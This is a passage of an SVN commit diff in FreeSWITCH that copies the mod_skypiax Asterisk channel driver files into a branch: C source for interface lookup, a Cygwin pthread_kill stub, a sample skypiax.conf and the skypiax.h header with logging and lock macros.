+              "Skype not configured on the 'current' console, not importing from Skype client!\n");
+    }
+    //}
+  /*******************************************************************************************/
+  /*******************************************************************************************/
+  } else {
+    ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
+    ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG,
+           fn);
+    return RESULT_FAILURE;
+  }
+
+  fclose(p->phonebook_writing_fp);
+  //skypiax_dir_create_extensions();
+
+  return RESULT_SUCCESS;
+}
+
+private_t *find_available_skypiax_interface(void)
+{
+  private_t *p;
+  int found = 0;
+
+  /* lock the interfaces' list */
+  LOKKA(&skypiax_iflock);
+  /* make a pointer to the first interface in the interfaces list */
+  p = skypiax_iflist;
+  /* Search for the requested interface and verify if is unowned */
+  while (p) {
+    if (!p->owner) {
+      DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+      found = 1;
+      /* we found the requested interface, bail out from the while loop */
+      break;
+    } else {
+      /* interface owned by a channel */
+      DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+    }
+    /* not yet found, next please */
+    p = p->next;
+  }
+
+  /* lock the interfaces' list */
+  UNLOCKA(&skypiax_iflock);
+
+  if (found)
+    return p;
+  else
+    return NULL;
+}
+
+/************************************************/
+#ifdef ASTERISK_VERSION_1_4
+#ifndef AST_MODULE
+#define AST_MODULE "chan_skypiax"
+#endif
+AST_MODULE_INFO_STANDARD(ASTERISK_GPL_KEY, "Skypiax, Audio-Serial Driver");
+#endif /* ASTERISK_VERSION_1_4 */
+
+/* rewriting end */
+/*******************************************************************************/

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+#include <stdio.h>
+#define PRINTMSGCYG
+
+extern int option_debug;
+int cyg_no_pthreadkill(int thread, int sig);
+
+int cyg_no_pthreadkill(int thread, int sig)
+{
+#ifdef PRINTMSGCYG
+  if (option_debug) {
+    printf
+      ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
+       (unsigned long int) thread, sig);
+  }
+#endif // PRINTMSGCYG
+  return 0;
+}

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.conf

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.conf (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.conf) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.conf	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.conf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,207 @@
+;;;;;;;; 
+;;;;;;;; 
+;;;;;;; Skypiax Asterisk Driver 
+;;;;;;; 
+;;;;;;; Configuration file 
+;;;;;;; lines beginning with semicolon (" are ignored (commented out)
+;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;
+;;;;;;; The first interface (named skypeclient)
+;;;;;;[skypeclient] 
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;; general settings, valid on all platforms
+;;;;;;;
+;;;;;;; 
+;;;;;;; Default language 
+;;;;;;; 
+;;;;;;language=en 
+;;;;;;; 
+;;;;;;; Default context (in extensions.conf, can be overridden with @context syntax) 
+;;;;;;; 
+;;;;;;context=default 
+;;;;;;; 
+;;;;;;; Default extension (in extensions.conf) where incoming calls land
+;;;;;;; 
+;;;;;;extension=s 
+;;;;;;; 
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;; Debugging settings, valid globally for all interfaces on all platforms
+;;;;;;;
+;;;;;;; the debug values are global for all the interfaces.
+;;;;;;;
+;;;;;;; default is no skypiax debugging output, you **have** to activate debugging here to obtain debugging from skypiax
+;;;;;;;
+;;;;;;; To see the debugging output you have to "set debug 100" from the Asterisk CLI or launch
+;;;;;;; Asterisk with -ddddddddddd option, and have the logger.conf file activating debug info for console and messages
+;;;;;;;
+;;;;;;; You can activate each of the following separately, but you can't disactivate. Eg: debug_at=no does not subtract debug_at from debug_all
+;;;;;;; debug_all activate all possible debugging info
+;;;;;;;
+;;;;;;;debug_all=yes
+;;;;;;debug_skype=yes
+;;;;;;debug_pbx=yes
+;;;;;;;debug_sound=yes
+;;;;;;;debug_locks=yes
+;;;;;;;debug_monitorlocks=yes
+;;;;;;
+;;;;;;skype=yes ; legacy setting, leave it to yes
+;;;;;;X11_display=:101
+;;;;;;tcp_cli_port=11234
+;;;;;;tcp_srv_port=11235
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;; audio boost settings, valid for all platforms, to compensate for different input/output audio signal levels
+;;;;;;; tweak it if you get horrible (or not hearable) sound
+;;;;;;;
+;;;;;;;boost can be positive or negative (-40 to +40) in db
+;;;;;;;experiment to find which values are best for your computer
+;;;;;;playback_boost=0 ; 
+;;;;;;capture_boost=0 ; 
+;;;;;;
+;;; [skypiax1] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:101
+;;; tcp_cli_port=15576
+;;; tcp_srv_port=15577
+;;; skype_user=skypiax1
+;;; 
+;;; [skypiax2] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:102
+;;; tcp_cli_port=15578
+;;; tcp_srv_port=15579
+;;; skype_user=skypiax2
+;;; 
+;;; [skypiax3] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:103
+;;; tcp_cli_port=15580
+;;; tcp_srv_port=15581
+;;; skype_user=skypiax3
+;;; 
+[skypiax4] 
+language=en 
+context=default 
+extension=s 
+debug_skype=yes
+debug_pbx=yes
+skype=yes ; legacy setting, leave it to yes
+playback_boost=0 ; 
+capture_boost=0 ; 
+X11_display=:104
+tcp_cli_port=15582
+tcp_srv_port=15583
+skype_user=skypiax4
+
+[skypiax5] 
+language=en 
+context=default 
+extension=s 
+debug_skype=yes
+debug_pbx=yes
+skype=yes ; legacy setting, leave it to yes
+playback_boost=0 ; 
+capture_boost=0 ; 
+X11_display=:105
+tcp_cli_port=15584
+tcp_srv_port=15585
+skype_user=skypiax5
+
+[skypiax6] 
+language=en 
+context=default 
+extension=s 
+debug_skype=yes
+debug_pbx=yes
+skype=yes ; legacy setting, leave it to yes
+playback_boost=0 ; 
+capture_boost=0 ; 
+X11_display=:106
+tcp_cli_port=15586
+tcp_srv_port=16586
+skype_user=skypiax6
+
+;;; [skypiax17] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:117
+;;; tcp_cli_port=15587
+;;; tcp_srv_port=15588
+;;; skype_user=skypiax17
+;;; 
+;;; [skypiax18] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:118
+;;; tcp_cli_port=15589
+;;; tcp_srv_port=15590
+;;; skype_user=skypiax18
+;;; 
+;;; [skypiax19] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:119
+;;; tcp_cli_port=15591
+;;; tcp_srv_port=15592
+;;; skype_user=skypiax19
+;;; 
+;;; [skypiax20] 
+;;; language=en 
+;;; context=default 
+;;; extension=s 
+;;; debug_skype=yes
+;;; debug_pbx=yes
+;;; skype=yes ; legacy setting, leave it to yes
+;;; playback_boost=0 ; 
+;;; capture_boost=0 ; 
+;;; X11_display=:120
+;;; tcp_cli_port=15593
+;;; tcp_srv_port=15594
+;;; skype_user=skypiax20
+;;; 
+;;; 
+;;; 

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,428 @@
+//indent -gnu -ts4 -br -brs -cdw -lp -ce -nbfda -npcs -nprs -npsl -nbbo -saf -sai -saw -cs -bbo -nhnl -nut -sob -l90 
+#ifndef _SKYPIAX_H_
+#define _SKYPIAX_H_
+
+#ifndef SKYPIAX_SVN_VERSION
+#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
+#endif
+
+#include <asterisk/version.h>   /* needed here for conditional compilation on version.h */
+  /* the following #defs are for LINUX */
+#ifndef __CYGWIN__
+#ifndef ASTERISK_VERSION_1_6
+#ifndef ASTERISK_VERSION_1_4
+#ifndef ASTERISK_VERSION_1_2
+#define ASTERISK_VERSION_1_4
+#if(ASTERISK_VERSION_NUM == 999999)
+#undef ASTERISK_VERSION_1_4
+#elif(ASTERISK_VERSION_NUM < 10400)
+#undef ASTERISK_VERSION_1_4
+#endif /* ASTERISK_VERSION_NUM == 999999 || ASTERISK_VERSION_NUM < 10400 */
+#endif /* ASTERISK_VERSION_1_2 */
+#endif /* ASTERISK_VERSION_1_4 */
+#endif /* ASTERISK_VERSION_1_6 */
+#ifdef ASTERISK_VERSION_1_2
+#undef ASTERISK_VERSION_1_4
+#endif /* ASTERISK_VERSION_1_2 */
+#ifdef ASTERISK_VERSION_1_6
+#define ASTERISK_VERSION_1_4
+#endif /* ASTERISK_VERSION_1_6 */
+#define SKYPIAX_SKYPE
+#define WANT_SKYPE_X11
+#endif /* NOT __CYGWIN__ */
+  /* the following #defs are for WINDOWS */
+#ifdef __CYGWIN__
+#undef ASTERISK_VERSION_1_4
+#undef ASTERISK_VERSION_1_6
+#define SKYPIAX_SKYPE
+#undef WANT_SKYPE_X11
+#endif /* __CYGWIN__ */
+
+/* INCLUDES */
+#ifdef ASTERISK_VERSION_1_6
+#include <asterisk.h>           /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
+#endif /* ASTERISK_VERSION_1_6 */
+#include <unistd.h>
+#include <termios.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <math.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <string.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <ctype.h>
+#ifndef ASTERISK_VERSION_1_4
+#include <stdlib.h>
+#include <stdio.h>
+#endif /* ASTERISK_VERSION_1_4 */
+#include <asterisk/frame.h>
+#include <asterisk/channel.h>
+#include <asterisk/module.h>
+#include <asterisk/options.h>
+#include <asterisk/pbx.h>
+#include <asterisk/config.h>
+#include <asterisk/cli.h>
+#include <asterisk/causes.h>
+#include <asterisk/endian.h>
+#include <asterisk/lock.h>
+#include <asterisk/devicestate.h>
+#include <asterisk/file.h>
+#include <asterisk/say.h>
+#ifdef ASTERISK_VERSION_1_6
+#include <asterisk/astobj2.h>
+#include <asterisk/paths.h>
+#endif /* ASTERISK_VERSION_1_6 */
+#ifdef ASTERISK_VERSION_1_4
+#include <asterisk/stringfields.h>
+#include <asterisk/abstract_jb.h>
+#include <asterisk/logger.h>
+#include <asterisk/utils.h>
+#endif /* ASTERISK_VERSION_1_4 */
+#ifdef ASTERISK_VERSION_1_2
+#include <asterisk/utils.h>
+#include <asterisk/logger.h>
+#endif /* ASTERISK_VERSION_1_2 */
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+//#include "skypiax_spandsp.h"
+#ifdef __CYGWIN__
+#include <windows.h>
+#endif /* __CYGWIN__ */
+#ifdef WANT_SKYPE_X11
+#include <X11/Xlib.h>
+#include <X11/Xlibint.h>
+#include <X11/Xatom.h>
+#endif /*  WANT_SKYPE_X11 */
+#ifndef AST_DIGIT_ANYDIG
+#define AST_DIGIT_ANYDIG "0123456789*#"
+#else
+#warning Please review Skypiax AST_DIGIT_ANYDIG
+#endif
+#ifndef _ASTERISK_H
+#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
+int ast_register_atexit(void (*func) (void));   /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+void ast_unregister_atexit(void (*func) (void));    /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+#endif
+
+/* DEFINITIONS */
+#define SAMPLERATE_SKYPIAX 8000
+#define SAMPLES_PER_FRAME SAMPLERATE_SKYPIAX/50
+#define SKYPIAX_DIR_CONFIG "directoriax.conf"
+
+/* LUIGI RIZZO's magic */
+/* boost support. BOOST_SCALE * 10 ^(BOOST_MAX/20) must
+ * be representable in 16 bits to avoid overflows.
+ */
+#define	BOOST_SCALE	(1<<9)
+#define	BOOST_MAX	40          /* slightly less than 7 bits */
+/* call flow from the device */
+#define 	CALLFLOW_CALL_IDLE  AST_STATE_DOWN
+#define 	CALLFLOW_INCOMING_RING  AST_STATE_RING
+#define 	CALLFLOW_CALL_DIALING   AST_STATE_DIALING
+#define 	CALLFLOW_CALL_LINEBUSY   AST_STATE_BUSY
+#define 	CALLFLOW_CALL_ACTIVE   300
+#define 	CALLFLOW_INCOMING_HANGUP   100
+#define 	CALLFLOW_CALL_RELEASED   101
+#define 	CALLFLOW_CALL_NOCARRIER   102
+#define 	CALLFLOW_CALL_INFLUX   103
+#define 	CALLFLOW_CALL_INCOMING   104
+#define 	CALLFLOW_CALL_FAILED   105
+#define 	CALLFLOW_CALL_NOSERVICE   106
+#define 	CALLFLOW_CALL_OUTGOINGRESTRICTED   107
+#define 	CALLFLOW_CALL_SECURITYFAIL   108
+#define 	CALLFLOW_CALL_NOANSWER   109
+#define 	CALLFLOW_STATUS_FINISHED   110
+#define 	CALLFLOW_STATUS_CANCELLED   111
+#define 	CALLFLOW_STATUS_FAILED   112
+#define 	CALLFLOW_STATUS_REFUSED   113
+#define 	CALLFLOW_STATUS_RINGING   114
+#define 	CALLFLOW_STATUS_INPROGRESS   115
+#define 	CALLFLOW_STATUS_UNPLACED   116
+#define 	CALLFLOW_STATUS_ROUTING   117
+#define 	CALLFLOW_STATUS_EARLYMEDIA   118
+#define 	AST_STATE_HANGUP_REQUESTED   200
+  //FIXME CALLFLOW_INCOMING_CALLID to be removed
+#define 	CALLFLOW_INCOMING_CALLID   1019
+/* debugging bitmask */
+#define DEBUG_SOUND 1
+#define DEBUG_SERIAL 2
+#define DEBUG_SKYPE 4
+#define DEBUG_AT 8
+#define DEBUG_FBUS2 16
+#define DEBUG_CALL 32
+#define DEBUG_LOCKS 64
+#define DEBUG_PBX 128
+#define DEBUG_MONITORLOCKS 256
+#define DEBUG_ALL DEBUG_SOUND|DEBUG_SERIAL|DEBUG_SKYPE|DEBUG_AT|DEBUG_FBUS2|DEBUG_CALL|DEBUG_PBX|DEBUG_LOCKS|DEBUG_MONITORLOCKS
+/* wrappers for ast_log */
+#define DEBUGA_SOUND(...)  if (skypiax_debug & DEBUG_SOUND) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SOUND  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_SERIAL(...)  if (skypiax_debug & DEBUG_SERIAL) ast_log(LOG_DEBUG, 	"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SERIAL %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_SKYPE(...)  if (skypiax_debug & DEBUG_SKYPE) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SKYPE  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_AT(...)  if (skypiax_debug & DEBUG_AT) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_AT     %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_FBUS2(...)  if (skypiax_debug & DEBUG_FBUS2) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_FBUS2  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_CALL(...)  if (skypiax_debug & DEBUG_CALL) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_CALL   %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define DEBUGA_PBX(...)  if (skypiax_debug & DEBUG_PBX) ast_log(LOG_DEBUG, 		"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_PBX    %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define ERRORA(...)  ast_log(LOG_ERROR, 						"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][ERROR        %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define NOTICA(...)  ast_log(LOG_NOTICE, 						"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][NOTICE      %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+#define WARNINGA(...)  ast_log(LOG_WARNING, 						"rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][WARNING    %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
+/* macros for logging */
+#define SKYPIAX_P_LOG p ? p->owner : NULL, (unsigned long)pthread_self(), __LINE__, p ? p->name ? p->name : "none" : "none", p ? p->owner ? p->owner->_state : -1 : -1,  p ? p->interface_state : -1, p ? p->skype_callflow : -1
+#define SKYPIAX_TMP_LOG tmp ? tmp->owner : NULL, (unsigned long)pthread_self(), __LINE__, tmp ? tmp->name ? tmp->name : "none" : "none", tmp ? tmp->owner ? tmp->owner->_state : -1 : -1,  tmp ? tmp->interface_state : -1, tmp ? tmp->skype_callflow : -1
+/* logging wrappers for ast_mutex_lock and ast_mutex_unlock */
+#define LOKKA(x)  if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
+#define UNLOCKA(x)  if (skypiax_debug & DEBUG_LOCKS)  ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n",  SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
+#define PUSHA_UNLOCKA(x)    pthread_cleanup_push(skypiax_unlocka_log, (void *) x);
+#define POPPA_UNLOCKA(x)    pthread_cleanup_pop(0);
+#define MONITORLOKKA(x)  if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" :  "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
+#define MONITORUNLOCKA(x)  if (skypiax_debug & DEBUG_MONITORLOCKS)  ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n",  SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
+/* macros used for config file parsing (luigi rizzo)*/
+#define 	M_BOOL(tag, dst)   M_F(tag, (dst) = ast_true(__val) )
+#define 	M_END(x)   x;
+#define 	M_F(tag, f)   if (!strcasecmp((__s), tag)) { f; } else
+#ifdef ASTERISK_VERSION_1_6
+#define 	M_START(var, val)   const char *__s = var; const char *__val = val;
+#else
+#define 	M_START(var, val)   char *__s = var; char *__val = val;
+#endif /* ASTERISK_VERSION_1_6 */
+#define 	M_STR(tag, dst)   M_F(tag, ast_copy_string(dst, __val, sizeof(dst)))
+#define 	M_UINT(tag, dst)   M_F(tag, (dst) = strtoul(__val, NULL, 0) )
+
+#define 	SKYPIAX_FRAME_SIZE   160
+
+/* SKYPIAX INTERNAL STRUCTS */
+/*! 
+ * \brief structure for exchanging messages with the skype client
+ */
+#ifdef WANT_SKYPE_X11
+struct AsteriskHandles {
+  Window skype_win;
+  Display *disp;
+  Window win;
+  int fdesc[2];
+};
+#else /* WANT_SKYPE_X11 */
+struct AsteriskHandles {
+  HWND win32_hInit_MainWindowHandle;
+  HWND win32_hGlobal_SkypeAPIWindowHandle;
+  int fdesc[2];
+};
+#endif /* WANT_SKYPE_X11 */
+
+#ifndef WIN32
+struct SkypiaxHandles {
+  Window skype_win;
+  Display *disp;
+  Window win;
+  int api_connected;
+  int fdesc[2];
+};
+#else //WIN32
+
+struct SkypiaxHandles {
+  HWND win32_hInit_MainWindowHandle;
+  HWND win32_hGlobal_SkypeAPIWindowHandle;
+  HINSTANCE win32_hInit_ProcessHandle;
+  char win32_acInit_WindowClassName[128];
+  UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
+  UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
+  int api_connected;
+  int fdesc[2];
+};
+
+#endif //WIN32
+
+/*! 
+ * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
+ */
+struct skypiax_pvt {
+  char *name;                   /*!< \brief 'name' of the interface (channel) */
+  int interface_state;          /*!< \brief 'state' of the interface (channel) */
+  struct ast_channel *owner;    /*!< \brief channel we belong to, possibly NULL */
+  struct skypiax_pvt *next;     /*!< \brief Next interface (channel) in list */
+  char context[AST_MAX_EXTENSION];  /*!< \brief default Asterisk dialplan context for this interface */
+  char language[MAX_LANGUAGE];  /*!< \brief default Asterisk dialplan language for this interface */
+  char exten[AST_MAX_EXTENSION];    /*!< \brief default Asterisk dialplan extension for this interface */
+  int skypiax_sound_rate;       /*!< \brief rate of the sound device, in Hz, eg: 8000 */
+  int skypiax_sound_capt_fd;    /*!< \brief file descriptor for sound capture dev */
+  char callid_name[50];
+  char callid_number[50];
+  pthread_t controldev_thread;  /*!< \brief serial control thread for this interface, running during the call */
+  double playback_boost;
+  double capture_boost;
+  int stripmsd;
+  pthread_t skype_thread;
+  struct AsteriskHandles AsteriskHandlesAst;
+  struct SkypiaxHandles SkypiaxHandles;
+  char skype_call_id[512];
+  int skype_call_ongoing;
+  char skype_friends[4096];
+  char skype_fullname[512];
+  char skype_displayname[512];
+  int skype_callflow;           /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
+  int skype;                    /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
+  int control_to_send;
+  int audiopipe[2];
+  int audioskypepipe[2];
+  pthread_t tcp_srv_thread;
+  pthread_t tcp_cli_thread;
+  short audiobuf[160];
+  int audiobuf_is_loaded;
+
+  //int phonebook_listing;
+  //int phonebook_querying;
+  //int phonebook_listing_received_calls;
+
+  //int phonebook_first_entry;
+  //int phonebook_last_entry;
+  //int phonebook_number_lenght;
+  //int phonebook_text_lenght;
+  FILE *phonebook_writing_fp;
+  int skypiax_dir_entry_extension_prefix;
+#ifdef WIN32
+  unsigned short tcp_cli_port;
+  unsigned short tcp_srv_port;
+#else
+  int tcp_cli_port;
+  int tcp_srv_port;
+#endif
+  char X11_display[256];
+
+  struct ast_frame read_frame;
+
+  char skype_user[256];
+  char skype_password[256];
+  char destination[256];
+  char session_uuid_str[512 + 1];
+  pthread_t signaling_thread;
+};
+
+typedef struct skypiax_pvt private_t;
+/* FUNCTIONS */
+
+/* module helpers functions */
+int load_module(void);
+int unload_module(void);
+int usecount(void);
+char *description(void);
+char *key(void);
+
+/* chan_skypiax internal functions */
+void skypiax_unlocka_log(void *x);
+
+void *do_skypeapi_thread(void *data);
+//int skypiax2skype(struct ast_channel *c, void *data);
+//int skype2skypiax(struct ast_channel *c, void *data);
+//void skypiax_disconnect(void);
+int skypiax_signaling_write(struct skypiax_pvt *p, char *msg_to_skype);
+int skypiax_signaling_read(struct skypiax_pvt *p);
+int skypiax_console_skype(int fd, int argc, char *argv[]);
+#ifdef WANT_SKYPE_X11
+int X11_errors_handler(Display * dpy, XErrorEvent * err);
+int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P);
+int skypiax_present(struct SkypiaxHandles *SkypiaxHandles);
+void skypiax_clean_disp(void *data);
+#endif /* WANT_SKYPE_X11 */
+#ifdef __CYGWIN__
+
+int win32_Initialize_CreateWindowClass(private_t * tech_pvt);
+void win32_DeInitialize_DestroyWindowClass(private_t * tech_pvt);
+int win32_Initialize_CreateMainWindow(private_t * tech_pvt);
+void win32_DeInitialize_DestroyMainWindow(private_t * tech_pvt);
+#endif /* __CYGWIN__ */
+
+/* CHAN_SKYPIAX.C */
+int skypiax_queue_control(struct ast_channel *chan, int control);
+struct skypiax_pvt *skypiax_console_find_desc(char *dev);
+int skypiax_serial_call(struct skypiax_pvt *p, char *dstr);
+
